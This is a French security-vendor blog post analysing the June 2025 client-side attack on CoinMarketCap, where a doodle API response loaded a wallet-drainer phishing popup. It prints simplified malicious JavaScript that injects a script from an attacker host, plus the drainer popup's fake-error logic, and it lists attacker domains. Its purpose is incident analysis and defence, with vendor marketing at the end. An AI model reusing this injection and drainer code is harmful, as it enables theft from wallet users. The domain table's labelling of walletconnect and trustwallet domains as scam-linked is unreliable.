Skip to main content
Blog
Blog Attacks

Attaque côté client sur CoinMarketCap : une analyse complète

Le 20 juin 2025, CoinMarketCap (CMC), une importante plateforme de données crypto en temps réel, a subi un incident de sécurité côté client.

Jun 23, 2025 14 min read
coin-market-cap-image-cover
Table des matières

En résumé : le détail du drainer via l'API doodle de CoinMarketCap, 43 266 $

  • Les API first-party sont la supply chain : Les API first-party de confiance sont la nouvelle chaîne d'approvisionnement. Le propre endpoint /doodle/get de CoinMarketCap a livré le drainer de portefeuille, si bien que toutes les allowlists CSP et tous les questionnaires fournisseurs du monde le laissaient déjà passer.
  • 43 266 $ via un doodle : Le payload Inferno Drainer a siphonné 43 266 $ auprès de 110 victimes via un doodle JSON provenant de cdnkit[.]io, et la première transaction malveillante a eu lieu à 16 h 57 (heure de l'Est). cside surveille le comportement des scripts en runtime, si bien qu'un doodle demandant une approbation de portefeuille déclenche l'alerte.
  • Les endpoints marketing sont des surfaces d'attaque : Si un endpoint marketing sur votre site peut injecter du HTML ou du JS, traitez-le comme une surface d'attaque dès aujourd'hui. Si vous ne pouvez pas le verrouiller, surveillez ce qu'il affiche et demande réellement avant que le prochain popup ne demande à un utilisateur de signer.

Peu de temps ? Découvrez le blocage in-browser des Magecart et skimmers de cside. Elle couvre tout ce qui suit en un seul déploiement.

GIF animé du faux popup de vérification de portefeuille affiché aux visiteurs de CoinMarketCap pendant l'attaque

Le 20 juin 2025, CoinMarketCap (CMC), une importante plateforme de données crypto en temps réel, a subi un incident de sécurité côté client. Une attaque côté client a compromis son frontend, incitant les utilisateurs à connecter leurs portefeuilles crypto via un stratagème de phishing sophistiqué. Cette brèche a exposé des vulnérabilités critiques dans les chemins de distribution de contenu de confiance. Bien que nous ne sachions pas si la réponse de l'API a été compromise via du code tiers ou une mauvaise configuration interne, le résultat est clair : une exécution de code malveillant côté client via une API de confiance.

Nous analysons ci-dessous l'attaque en deux niveaux : un résumé accessible pour les parties prenantes non techniques, et une analyse technique approfondie destinée aux professionnels de la sécurité.

Résumé général : que s'est-il passé ?

Source : https://x.com/DarkWebInformer/status/1936209452878745680

Les popups ne faisaient pas partie des fonctionnalités légitimes de CMC ; ils étaient le résultat d'une attaque côté client qui a détourné le frontend du site web.

Chronologie de l'attaque

Source : https://x.com/blockaid_/status/1936199273701687702

Tweet illustrant la chronologie de l'attaque CoinMarketCap, avec la première transaction malveillante à 16h57 EST

Le 20 juin 2025, les utilisateurs visitant la page d'accueil de CoinMarketCap ont commencé à voir apparaître des popups inattendus. Ces popups, conçus pour imiter l'identité visuelle de CoinMarketCap, incitaient les utilisateurs à « vérifier leur portefeuille » pour « conserver un accès complet » à la plateforme.

Timing critique : la première transaction malveillante liée à l'attaque a été exécutée à 16 h 57 (heure de l'Est), un horaire probablement choisi pour coïncider avec la fin de journée des ingénieurs et des équipes de sécurité, retardant ainsi la détection immédiate.

Points clés pour les parties prenantes non techniques

  • Comment tout a commencé : l'attaque a démarré par un élément en apparence anodin sur la page d'accueil de CMC, une image « doodle » (un élément graphique décoratif, comme un logo à thème festif).
  • Ce qui s'est passé ensuite : cette image doodle était liée à une ressource non fiable (un fichier JSON) hébergée sur un domaine externe (cdnkit[.]io). Cette ressource contenait du code caché qui injectait un faux popup dans le navigateur de l'utilisateur.
  • L'arnaque : le popup semblait légitime, reprenant les couleurs, les logos et un langage urgent propres à CMC pour inciter les utilisateurs à connecter leurs portefeuilles crypto (ex. : MetaMask, Phantom). Une fois connectés, les attaquants pouvaient dérober des fonds.
  • Pourquoi c'est grave : bien que cette attaque ressemble à une compromission de la chaîne d'approvisionnement du point de vue du frontend, puisque le code malveillant était distribué via un point de terminaison de confiance, la cause sous-jacente pourrait être une modification directe d'une réponse API first-party. L'origine réelle reste floue sans accès aux systèmes internes. Du point de vue du frontend, cela illustre néanmoins à quel point il est dangereux que des canaux de données de confiance soient détournés.

Analyse technique approfondie : comment l'attaque a fonctionné

Pour comprendre les mécanismes de l'attaque, nous la décomposons en plusieurs étapes, du déclencheur initial jusqu'au payload final.

Étape 1 : l'image doodle, compromission initiale

La page d'accueil de CoinMarketCap comportait une section « doodle », une fonctionnalité courante pour les fêtes ou événements (ex. : un logo spécial pour la Journée mondiale du cœur). Ce doodle était chargé dynamiquement via une requête API vers https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5

L'API retournait un fichier JSON contenant des métadonnées sur les doodles actifs, notamment des liens vers des fichiers image.

La réponse JSON malveillante

La réponse JSON incluait une référence à un fichier hébergé sur cdnkit[.]io :

"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"

Cette URL ne pointait pas vers une simple image. Elle retournait en réalité un autre fichier JSON contenant du code JavaScript embarqué.

Étape 2 : JavaScript injecté, exécution côté client

Le JSON provenant de cdnkit[.]io contenait un extrait JavaScript caché, conçu pour s'exécuter dans le navigateur de l'utilisateur. Voici une version simplifiée du code :

// Vérifier si l'injection a déjà eu lieu
if (!window.cmcInjected) {
  window.cmcInjected = true;

  // Modifier la page pour masquer les éléments légitimes (ex. : le vrai logo CMC)
  const logo = document.querySelector('.cmc-logo');
  if (logo) {
    logo.title = 'Go to homepage'; // Faux titre pour imiter la légitimité
    logo.removeAttribute('data-text');
  }

  // Ajouter du CSS pour styliser le faux popup
  const style = document.createElement('style');
  style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Masque les éléments réels
  document.head.appendChild(style);

  // Injecter le script du popup malveillant
  const script = document.createElement('script');
  script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
  document.head.appendChild(script);
}  

Observations clés

  • Exécution côté client : le code s'exécute dans le navigateur de l'utilisateur, et non sur les serveurs de CMC. Cela contourne les outils de sécurité côté serveur.
  • Vérification de persistance : le flag window.cmcInjected garantit que le script ne s'exécute qu'une seule fois par session, évitant ainsi la détection.
  • Manipulation du DOM : le script modifie le HTML/CSS de la page pour masquer les éléments légitimes (ex. : le vrai logo CMC) et préparer l'affichage du faux popup.

Étape 3 : le faux popup, interface de phishing

Le script injecté (popup[.]js, hébergé sur blockassets[.]app) créait un overlay d'apparence réaliste. Voici son fonctionnement :

Structure du popup

Le popup imitait le design de CMC, avec :

  • Un titre « Verify Your Wallet ».
  • Un message jouant sur l'urgence : « Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account. »
  • Un bouton « Connect Wallet » stylisé pour correspondre à l'interface de CMC.

Logique JavaScript

Le script popup[.]js comprenait des fonctions pour :

  1. Afficher le popup : ajouter un overlay plein écran avec le faux message.
  2. Gérer l'interaction utilisateur : lorsque l'utilisateur clique sur « Connect Wallet », le script tente de se connecter à un portefeuille crypto (ex. : MetaMask, Phantom).
  3. Exfiltration de données : une fois connecté, le script communique avec des domaines malveillants (ex. : walletconnect[.]com, trustwallet[.]com) pour dérober les identifiants du portefeuille ou les clés privées.

Étape 4 : analyse des domaines, infrastructure suspecte

L'attaque reposait sur des domaines présentant des signaux d'alerte évidents :

Domaine Détails
cdnkit[.]io Hébergeait le JSON malveillant initial. Domaine enregistré en 2020 ; aucun lien direct avec CMC.
blockassets[.]app Hébergeait popup[.]js et f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. Les données WHOIS du domaine montrent qu'il n'appartient pas à CMC.
admin2[.]prod[.]coinmarketcap[.]supply Un domaine mal orthographié (supply au lieu de com) imitant l'infrastructure de CMC. Le WHOIS indique qu'il a 2 677 jours d'existence (créé en 2018) et qu'il n'appartient pas à CMC.
walletconnect[.]com Redirige vers reown[.]com, un domaine associé à des arnaques connues.
trustwallet[.]com Historiquement associé à des extensions de navigateur frauduleuses (selon les avis d'utilisateurs).

Étape 5 : wallet drainer, payloads techniques

Le script popup[.]js interagissait avec une bibliothèque JavaScript plus large (hébergée sur blockassets[.]app) qui comprenait des fonctions pour :

  • Connexion au portefeuille : détecter et se connecter aux portefeuilles populaires (MetaMask, Phantom, etc.).
  • Logique d'attaque adaptative : personnaliser le flux de phishing en fonction du type de portefeuille détecté, afin d'éviter les avertissements de sécurité et les échecs de signature.
  • Signature de transactions : inciter les utilisateurs à signer des transactions malveillantes (ex. : approbation de transferts de tokens).
  • Gestion des erreurs : afficher de faux messages d'erreur (ex. : « Your wallet is blacklisted ») pour pousser les utilisateurs à réessayer avec un autre portefeuille.

Exemple d'extrait de code

La fonction customPopupOpen dans popup[.]js contrôlait le comportement du popup :

window.customPopupOpen = function(params) {
  const stepName = params.stepName;
  return new Promise((resolve) => {
    const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];

    if (errorSteps.includes(stepName)) {
      // Afficher un faux message d'erreur
      injectToasterMessage({
        blacklisted: "Your wallet is not AML clear, you can't use it!",
        connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
        ...
      }[stepName]);
    } else {
      // Afficher un spinner de chargement pour tromper les utilisateurs
      modalFooter.classList.add("loading");
      resolve(); // Continuer le script drainer
    }
  });
};  

Révélations post-attaque

Source : https://x.com/ReyXBF/status/1936276267797475526

Capture du panneau de contrôle d'Inferno Drainer montrant les fonds volés et le nombre de victimes de l'attaque CoinMarketCap

Dans les heures suivant l'incident, un canal Telegram nommé « CommLeaks » a partagé des captures d'écran prétendument issues du panneau de contrôle de l'attaquant. Ces images, liées à l'« Inferno Drainer » (un outil malveillant bien documenté pour vider les portefeuilles crypto), ont révélé :

  • Total des fonds volés : environ 43 266 USD ont été siphonnés auprès de 110 victimes ayant interagi avec le faux popup de vérification de portefeuille.
  • Ampleur de l'attaque : le tableau de bord a mis en évidence la portée de l'attaque, avec des centaines d'utilisateurs piégés en connectant leurs portefeuilles. Cela souligne l'efficacité des tactiques d'ingénierie sociale (urgence, interface réaliste) combinées à la compromission côté client.

Pourquoi cette attaque est importante

La menace croissante des attaques via des scripts JS tiers

La brèche chez CoinMarketCap illustre un schéma que nous observons de plus en plus souvent : des attaques qui exploitent des canaux de distribution de contenu de confiance, qu'il s'agisse de bibliothèques tierces ou d'API internes, pour injecter des scripts malveillants dans les navigateurs des utilisateurs. Les attaquants ciblent de plus en plus les bibliothèques, les CDN et les outils SaaS intégrés aux sites web. Par exemple :

  • L'attaque Polyfill (février 2024) a vu du code malveillant distribué via cdn[.]polyfill[.]io, un service largement utilisé pour la compatibilité des navigateurs
  • Les scripts tiers ont souvent accès à des données utilisateur sensibles (ex. : cookies, adresses de portefeuilles), ce qui en fait des cibles de choix

Pourquoi les défenses traditionnelles échouent :

  • Les outils de sécurité côté serveur (pare-feux, WAF) ne peuvent pas inspecter l'exécution de code côté client.
  • Même des services de confiance (ex. : plateformes d'analytics) peuvent être compromis, comme l'a montré l'attaque via le doodle de CoinMarketCap.

Vulnérabilités des chemins de données de confiance

Du point de vue du client, cet incident ressemble à une attaque de la chaîne d'approvisionnement où du contenu malveillant a été distribué via un chemin de confiance, mais la cause profonde pourrait être une compromission directe du backend. Bien qu'il n'existe encore aucune preuve qu'un tiers ait été compromis, l'attaque a utilisé un point de terminaison API de confiance (/doodle/get) pour distribuer du code malveillant. Cela signifie que même une infrastructure first-party, si elle est mal configurée ou compromise, peut devenir par inadvertance un canal de distribution de malware, tout comme le ferait une bibliothèque ou un CDN contaminé. Clarification : s'agissait-il vraiment d'une attaque de la chaîne d'approvisionnement ?

Nous ne savons pas encore si une dépendance tierce a été compromise, ou si l'API /doodle/get a été modifiée en interne. Cependant, du point de vue du frontend, elle s'est comportée comme une attaque de la chaîne d'approvisionnement, car du contenu malveillant a été distribué via un service de confiance, rompant la chaîne de confiance implicite, quelle qu'en soit l'origine.

Risques côté client

Les attaques côté client (code s'exécutant dans le navigateur de l'utilisateur) sont particulièrement dangereuses, en l'absence de protection côté client, car :

  • Elles contournent les outils de sécurité côté serveur (ex. : pare-feux, systèmes de détection d'intrusion).
  • Elles exploitent la confiance des utilisateurs envers une plateforme familière (CMC).
  • Elles peuvent se propager rapidement, le code malveillant étant chargé à chaque visite de page.

Comment se protéger

Pour les utilisateurs

  • Évitez les popups non sollicités : ne connectez jamais votre portefeuille via un popup, même sur des sites de confiance. Les plateformes légitimes ne demandent pas de connexion de portefeuille via des popups inattendus.
  • Utilisez des bloqueurs de publicités : des outils comme uBlock Origin ou AdGuard peuvent bloquer le chargement de scripts malveillants.
  • Vérifiez les domaines : repérez les fautes de frappe dans les URL (ex. : coinmarketcap[.]supply vs. coinmarketcap[.]com).
  • Examinez chaque approbation attentivement : avant de signer, lisez attentivement les détails dans votre portefeuille. Soyez particulièrement vigilant face aux demandes d'autorisations étendues.

Pour les plateformes (ex. : CMC)

  • Auditez les intégrations tierces : passez régulièrement en revue toutes les ressources externes (images, scripts, API) chargées sur votre plateforme.
  • Subresource Integrity (SRI) : les SRI peuvent être utilisées pour lier des scripts à des hashes (ex. : ``). Cependant, dans la plupart des cas, les SRI ne seront pas envisageables en raison du comportement hautement dynamique de JavaScript. Les SRI n'alertent pas non plus en cas de violation, ce qui les rend difficiles à utiliser en production.
  • Surveillez l'activité côté client : utilisez des outils comme Sentry ou New Relic pour détecter les exécutions JavaScript inattendues.

Tirez parti des outils de surveillance des scripts JS tiers : les scripts tiers sont un élément essentiel de la chaîne d'approvisionnement du web moderne, mais ils introduisent également des risques. Du code malveillant injecté via des bibliothèques tierces (ex. : outils d'analytics, réseaux publicitaires ou polyfills) peut compromettre les données des utilisateurs ou permettre des attaques comme celle subie par CoinMarketCap

Comment cside peut aider : des plateformes comme cside sont spécialisées dans la surveillance, la sécurisation et l'optimisation des scripts JavaScript tiers. Leurs services comprennent :

  • Analyse des payloads en temps réel : suivez chaque requête pour détecter les modifications malveillantes dans les scripts tiers
  • Détection des attaques de la chaîne d'approvisionnement : identifiez les dépendances compromises (ex. : l'incident cdn[.]polyfill[.]io de février 2024 qui a injecté du code malveillant dans des milliers de sites)
  • Support de conformité PCI : assurez-vous que les intégrations tierces respectent les normes de sécurité pour les secteurs traitant des données sensibles

Passez à l'action : créez un compte gratuit sur cside.com pour commencer à surveiller vos scripts tiers et vous protéger contre les vulnérabilités de la chaîne d'approvisionnement.

Conclusion

La brèche chez CoinMarketCap montre à quel point un élément modeste et négligé, comme une image doodle, peut causer des dégâts. Les attaquants ont exploité la confiance de la plateforme envers ses utilisateurs pour dérober des fonds. À mesure que l'adoption des cryptomonnaies progresse, les plateformes doivent continuer à sécuriser leurs chemins de distribution de contenu, et les utilisateurs doivent examiner attentivement chaque demande de connexion de portefeuille. Pour les équipes de sécurité, cet incident illustre l'importance de la gestion des risques liés à la chaîne d'approvisionnement et de la sécurité côté client. Pour les utilisateurs, c'est un rappel de rester vigilant : même les plateformes de confiance peuvent être victimes de phishing.

Un grand merci à notre ami et contributeur invité, Jack LaFond.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau